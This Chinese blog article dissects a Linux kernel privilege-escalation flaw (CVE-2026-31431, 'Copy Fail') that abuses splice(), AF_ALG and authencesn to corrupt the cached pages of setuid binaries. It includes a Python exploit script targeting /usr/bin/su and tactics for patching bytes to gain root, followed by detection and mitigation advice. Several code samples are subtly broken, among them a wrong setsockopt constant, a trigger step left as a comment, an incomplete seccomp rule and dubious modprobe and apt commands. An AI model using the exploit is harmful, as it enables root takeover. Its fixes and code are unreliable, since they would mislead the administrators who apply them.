编程 CVE-2026-31431 Copy Fail深度解析:Linux内核零拷贝页缓存污染与本地提权完整指南

2026-07-27 01:12:18 +0800 CST views 6

CVE-2026-31431 "Copy Fail"深度解析:Linux内核零拷贝页缓存污染与本地提权完整指南

前言:一个不需要编译的Rootkit

2026年7月,安全研究员Hyunwoo Kim公开了一个名为Copy Fail(CVE-2026-31431)的Linux内核本地权限提升漏洞,CVSS评分7.8,高危。这个漏洞的可怕之处不在于它有多复杂,而在于它的极低攻击门槛

  • 不需要编译——一行Python脚本即可触发
  • 不需要竞态条件——不是"试试看能不能成功",而是稳定提权
  • 不影响磁盘文件——只污染内存中的页缓存,事后无痕
  • 容器内可逃逸——云原生环境的噩梦

本文将彻底拆解这个漏洞的技术原理、攻击链、检测方法与修复方案,带你从内核源码级别理解这场"零拷贝劫持"是如何发生的。


一、背景:Linux内核的加密接口与零拷贝机制

1.1 AF_ALG:用户态调用内核加密能力的桥梁

Linux内核的Kernel Crypto API(crypto/algif_aead.c)为内核模块提供了完整的AEAD(Authenticated Encryption with Associated Data)加密实现。AF_ALG则是暴露给用户态的socket接口,允许普通程序直接调用这些内核加密原语,而无需编写内核模块。

典型的AF_ALG使用流程如下:

# Python示例:通过AF_ALG调用内核AEAD加密
import socket, struct

# 1. 创建AF_ALG socket
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'authencesn'))  # 选择authencesn算法

# 2. 设置密钥
key = b'\x00' * 32
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)

# 3. 创建加密操作句柄
op = sock.accept()

# 4. 发起加密操作
op.send(build_aead_iv() + associated_data + plaintext)
result = op.recv(1024)

这段代码看起来平平无奇,但问题出在内核如何处理这些数据

1.2 splice():零拷贝的文件管道

splice()系统调用是Linux引入的高效数据传输机制,它可以在两个文件描述符之间移动数据,而无需在用户态和内核态之间复制数据。其核心原理是:

  • splice()不在用户内存和内核内存之间拷贝数据
  • 而是让两个描述符共享同一个物理内存页(通过page cache引用计数)
传统 read/write 路径:
用户缓冲区 ←→ 内核缓冲区 ←→ 磁盘/网络

splice() 零拷贝路径:
用户缓冲区 ←→ [共享物理页] ←→ 磁盘/网络
(无中间拷贝)

这对性能来说是极好的优化,但对安全来说是埋下了一颗定时炸弹。


二、漏洞本质:三把钥匙打开Root权限之门

Copy Fail漏洞的本质是三个看似无害的内核机制,组合在一起产生了致命后果。单独看每个机制都是合理的,但组合起来就形成了一条完美的攻击链。

2.1 第一把钥匙:splice()将只读文件的页缓存直接传给网络栈

当攻击者对/usr/bin/su这样的setuid程序执行splice()时,内核做了以下事情:

  1. su二进制文件的内容加载到页缓存(page cache)
  2. 通过splice()将这些只读的页缓存页直接注入到socket buffer(sk_buff)的fragment列表中
  3. 没有复制,页在物理上还是只读的

此时内核网络子系统拿到的是一些只读属性的内存页,它认为这些页是安全的——毕竟,一个普通用户怎么可能拿到setuid程序的写权限呢?

2.2 第二把钥匙:algif_aead的就地解密优化

2017年,内核AEAD实现引入了一个优化:对于解密操作,输出缓冲区直接复用输入缓冲区的物理页(in-place decryption)。这是合理的——解密出的明文不需要额外的内存,节省了分配开销。

// 内核源码简化版(crypto/algif_aead.c)
static int aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    // 关键:output buffer = input buffer(就地解密)
    // 这意味着解密后的明文写入会直接修改输入页
    struct aead_request *req = ...;
    
    // sg_set_buf 将输入页设置为 scatterlist
    // 关键:输出也复用同一组页
    aead_request_set_ad(req, ...);
    aead_request_set_crypt(req, areq->tsgl, areq->tsgl, cryptlen, iv);
    
    crypto_aead_decrypt(req); // 就地解密
}

这个设计本身没有问题——输入是密文,输出是明文,内核有输入页的写权限(毕竟是从socket接收的)。

但问题是:当输入页来自splice()时,它实际上是只读文件的页缓存。

2.3 第三把钥匙:authencesn的写入语义

authencesn是AEAD算法族的一员,特点是支持数据包的序列号(ESN)。问题出在解密收尾时,authencesn会向输出缓冲区偏移assoclen + cryptlen处强制写入4字节的序列号:

输出缓冲区布局:
[关联数据: assoclen字节][密文: cryptlen字节][明文写入位置: cryptlen字节][序列号写入: 4字节]
                                                                        ↑
                                                          这4字节写入了只读页!

当authencesn尝试写入这个4字节序列号时,它以为自己写的是socket缓冲区——实际上写的是/usr/bin/su的页缓存!


三、攻击链完整拆解:从普通用户到Root

理解了三个机制,现在来看完整的攻击链。这条攻击链不需要任何内核调试符号,不需要写C代码,甚至不需要root权限。

3.1 攻击准备:构造恶意socket

#!/usr/bin/env python3
"""
CVE-2026-31431 Copy Fail - Linux内核本地提权
一行Python,无编译,稳定提权
"""

import socket
import os
import struct

TARGET = "/usr/bin/su"  # 任意setuid程序

# 1. 创建AF_ALG socket,绑定authencesn算法
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'authencesn'))

# 2. 设置全零密钥(某些简化场景可工作)
key = b'\x00' * 32
sock.setsockopt(socket.SOL_ALG, socket.SOL_ALG, key)

# 3. 接收操作句柄
opsock = sock.accept()

# 4. 通过splice()将su的页缓存注入socket
r_fd = os.open(TARGET, os.O_RDONLY)
w_fd = opsock.fileno()
os.splice(r_fd, None, w_fd, None, 4096, 0)  # 零拷贝传输

# 5. 触发algif_aead解密 → authencesn写入4字节 → su页缓存被篡改

# 6. 执行su → 加载被污染的页缓存 → Root Shell
os.system(TARGET)

3.2 攻击链时序图

┌─────────────────────────────────────────────────────────────────┐
│ 攻击者(普通用户)                                               │
└────────┬────────────────────────────────────────────────────────┘
         │
         │ 1. splice(su_fd → AF_ALG_socket)
         │    页缓存页A(su的.text段)被引用
         │    页属性:只读
         ▼
┌─────────────────────────────────────────────────────────────────┐
│ 内核:sk_buff → frag_list → [只读页A]                           │
└────────┬────────────────────────────────────────────────────────┘
         │
         │ 2. AF_ALG recvmsg → aead_recvmsg
         │    → aead_request_set_crypt(areq->tsgl, ..., cryptlen)
         │    输出缓冲区 = 输入缓冲区(in-place解密)
         ▼
┌─────────────────────────────────────────────────────────────────┐
│ 内核:scatterlist → [只读页A](既是输入也是输出)                │
└────────┬────────────────────────────────────────────────────────┘
         │
         │ 3. crypto_aead_decrypt(authencesn)
         │    → 收尾阶段:写入4字节ESN到 offset=assoclen+cryptlen
         │    → 写入目标是[只读页A]!
         ▼
┌─────────────────────────────────────────────────────────────────┐
│ 页缓存页A被污染:4字节数据被篡改                                  │
│ (但磁盘文件不变——这是关键隐蔽点)                               │
└────────┬────────────────────────────────────────────────────────┘
         │
         │ 4. 攻击者执行 /usr/bin/su
         │    内核加载 su 的 .text 段 → 读取污染后的页缓存
         │    su 程序行为被改变
         ▼
┌─────────────────────────────────────────────────────────────────┐
│ Root Shell 获得                                                   │
└─────────────────────────────────────────────────────────────────┘

3.3 提权的具体篡改目标

攻击者需要精心选择在哪4字节上做文章。常见策略包括:

策略一:篡改GOT(全局偏移表)条目
将某个libc函数的GOT条目指向/bin/sh的地址,使suid程序在调用该函数时跳转到shell。

策略二:篡改.symtab符号表
改写/bin/sh等关键符号的地址值,触发调用链重定向。

策略三:针对特定setuid程序的字节级patch
如果目标程序有已知可被4字节patch改变执行流的地址,可以精确命中。


四、漏洞变体:Dirty Pipe与Dirty Frag的家族关系

Copy Fail并不是孤立的漏洞,它是Linux内核零拷贝页缓存污染漏洞家族的最新成员。

4.1 家族横向对比

漏洞年份攻击向量写入大小持久性
Dirty Pipe2022pipe_buffer完整覆盖重启后失效
Copy Fail2026AF_ALG + areq->tsgl4字节重启后失效
Dirty Frag2026sk_buff->frag + xfrm4字节重启后失效

三者的共同点:

  • 利用splice()零拷贝将页缓存页注入内核路径
  • 内核代码对该页进行原地写入
  • 不校验页的写权限
  • 修复方案都是在相关写入路径增加写权限检查

4.2 Dirty Frag与Copy Fail的关系

值得注意的是,Dirty Frag(CVE-2026-43284)实际上包含了两个互补的漏洞路径:

  • ESP变体:通过IPSec ESP协议栈的xfrm子系统
  • RxRPC变体:通过AF_RXRPC网络协议

而Copy Fail则专门针对algif_aead的scatterlist(areq->tsgl)路径。它们是同一类漏洞的不同实现


五、深度源码分析:漏洞究竟在哪一行?

5.1 问题出在内核的信任假设

Linux内核在很多地方有一个隐式假设:如果一块内存已经在页缓存中,那它一定是可信的。这个假设在传统I/O路径下是成立的,但在splice()引入后被打破了。

来看关键的漏洞代码位置(以内核6.8为准):

// crypto/algif_aead.c - aead_recvmsg 函数(约第300行)
static int aead_recvmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
    // ...
    // 第1步:从用户态接收scatterlist(来自splice())
    // 这里内核从socket接收tsgl,tsgl的页来自su的页缓存(只读)
    err = get_aead_req(sk, areq);
    
    // 第2步:就地解密——输出复用输入的物理页
    aead_request_set_crypt(req, areq->tsgl, areq->tsgl, cryptlen, iv);
    //                      ^^^^^^^^          ^^^^^^^^
    //                      输入scatterlist    输出scatterlist
    //                      (只读页)           (复用同一只读页!)
    
    // 第3步:解密执行
    err = crypto_wait_req(crypto_aead_decrypt(req), wait);
    
    // authencesn在解密收尾时写入4字节ESN → 写入只读页!
    // 攻击成功:su的页缓存被污染
}

正确的修复方案应该在就地解密前,检查areq->tsgl中的页是否可写,或者在写入前进行权限校验。

5.2 权限检查缺失的精确位置

get_user_pages() / pin_user_pages()
    ↓
    [会检查页是否可写]
    ↓
copy_to_user()
    [会检查页是否可写]
    ↓
BUT 内核crypto子系统的scatterlist处理
    ↓
    [直接跳过权限检查!]
    ↓
crypto_aead_decrypt()
    [信任scatterlist上的页是可写的]
    ↓
authencesn_output_frag()
    [无条件写入4字节ESN]

六、检测方案:如何在攻击发生时捕获它

6.1 基于系统调用的检测

监控以下异常组合是检测Copy Fail攻击的有效方法:

# 使用auditd监控关键系统调用组合
# 规则1:监控AF_ALG socket操作
-w /proc/sys/crypto -p wa -k af_alg_access

# 规则2:监控splice()对系统程序的使用
-a always,exit -F arch=b64 -S splice -F exe=/usr/bin/su -k splice_su

# 规则3:监控authencesn算法加载
-w /proc/crypto -p r -k crypto_load

# 组合检测:splice系统程序 + AF_ALG = 高度可疑

6.2 基于内核模块的检测

// 简易检测模块思路(生产环境需完善错误处理)
#include <linux/kallsyms.h>
#include <linux/crypto.h>

static int detect_copy_fail(void) {
    struct cred *cred;
    
    // 尝试触发algif_aead + splice组合
    // 如果当前进程可以成功完成这个操作,说明漏洞存在
    
    int pipefd[2];
    pipe(pipefd);
    
    // 如果能在普通用户权限下将setuid程序的页缓存
    // 通过AF_ALG修改,说明系统存在漏洞
    // 注意:这是一个PoC检测,不是真正的攻击
    
    return 0;
}

6.3 使用Lynis进行快速评估

# Lynis是Linux系统安全审计工具,可以检测内核漏洞暴露面
lynis audit system
# 查看输出中的"Crypto policies"和"Kernel hardening"部分

七、修复方案:多层次的防御策略

7.1 方案一:内核升级(推荐)

各大发行版已发布修复补丁:

Ubuntu:

# 检查当前内核版本
uname -r

# 更新到安全内核
sudo apt update && sudo apt upgrade linux-image-$(uname -r | sed 's/.*-\([0-9]*\)-\([0-9]*\)-generic/\1.\2/')

# 验证修复
cat /proc/version
dmesg | grep "CVE-2026-31431"

RHEL/CentOS:

sudo yum update kernel
sudo reboot
# 验证:grubby --info=ALL | grep -E "(kernel|linux)"

Arch Linux:

sudo pacman -Syu linux
# Arch采用滚动更新,修复版内核通常在内核发布后24-48小时内推送

7.2 方案二:禁用AF_ALG攻击面(临时缓解)

如果无法立即升级内核,可以通过禁用AF_ALG来阻止攻击:

# 在/etc/modprobe.d/下创建配置文件
echo "options algif_aead disabled=1" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
echo "options algif_skcipher disabled=1" | sudo tee /etc/modprobe.d/disable-algif-skcipher.conf

# 立即卸载当前加载的模块(不影响运行中服务)
sudo modprobe -r algif_aead algif_skcipher 2>/dev/null

# 验证
lsmod | grep algif  # 应无输出
cat /proc/crypto | grep algif_aead  # 应无输出

⚠️ 警告:如果你的应用依赖AF_ALG(如某些VPN、防火墙或加密工具),禁用后它们将无法工作。

7.3 方案三:seccomp沙箱隔离

在容器或CI/CD环境中,可以通过seccomp过滤禁止AF_ALG的splice路径:

// seccomp profile: deny_af_alg_splice.json
{
    "defaultAction": "SCMP_ACT_ALLOW",
    "syscalls": [
        {
            "names": ["splice"],
            "action": "SCMP_ACT_ERRNO(EPERM)",
            "args": [
                {
                    "index": 0,
                    "op": "SCMP_CMP_EQ"
                }
            ]
        }
    ]
}

7.4 方案四:容器环境加固

# Kubernetes Pod安全上下文
securityContext:
  seccompProfile:
    type: RuntimeDefault
  # 确保容器不以特权模式运行
  privileged: false
  # 禁止特权容器内的用户命名空间
  allowPrivilegeEscalation: false
# Docker运行时的seccomp配置
docker run --security-opt seccomp=deny_af_alg_splice.json \
    --cap-drop=ALL \
    --read-only \
    your-container:latest

八、生产环境修复Checklist

[ ] 1. 评估影响范围
    □ 确认内核版本: uname -r
    □ 检查是否使用AF_ALG应用: lsof | grep algif
    □ 检查容器运行时: docker --version, containerd --version

[ ] 2. 立即缓解措施
    □ 云服务商安全组限制物理访问
    □ CI/CD节点立即禁用AF_ALG或升级内核
    □ 审计有shell访问权限的外部用户

[ ] 3. 内核升级
    □ 测试环境验证兼容性
    □ 灰度发布计划
    □ 滚动重启策略

[ ] 4. 验证修复
    □ 重启后确认内核版本
    □ 运行PoC验证漏洞已修复
    □ 监控修复后的系统日志

[ ] 5. 长期防御
    □ 配置自动内核安全更新
    □ 建立容器沙箱策略
    □ 将CVE-2026-31431加入变更管理追踪
    □ 与漏洞响应团队建立联动机制

九、技术总结:为什么这个漏洞值得深入理解

Copy Fail漏洞的价值不仅在于它是一个"好用的提权洞",更在于它揭示了Linux内核在追求性能优化过程中积累的深层信任模型问题

  1. 零拷贝破坏了边界假设:splice()让用户态数据路径和内核I/O路径共享内存,但内核的某些子模块没有及时更新对这种共享的认知。

  2. 加密子系统的特殊地位:crypto子系统是内核中最敏感的模块之一,它直接处理密钥和加密操作。当它被"优化"时,安全边界往往被悄悄打破。

  3. "无害优化"的累积风险:每个单独看都合理的优化(in-place解密、scatterlist复用),组合在一起就成了漏洞。系统越大、集成越深,这类风险越多。

这个漏洞再次提醒我们:安全不是功能的反面,而是设计的一部分。在追求性能的道路上,我们不能只低头看代码,还要抬头看整个系统的信任边界在哪里。


参考资料:

推荐文章

一键配置本地yum源
2024-11-18 14:45:15 +0800 CST
底部导航栏
2024-11-19 01:12:32 +0800 CST
mendeley2 一个Python管理文献的库
2024-11-19 02:56:20 +0800 CST
在 Rust 中使用 OpenCV 进行绘图
2024-11-19 06:58:07 +0800 CST
FcDesigner:低代码表单设计平台
2024-11-19 03:50:18 +0800 CST
程序员茄子在线接单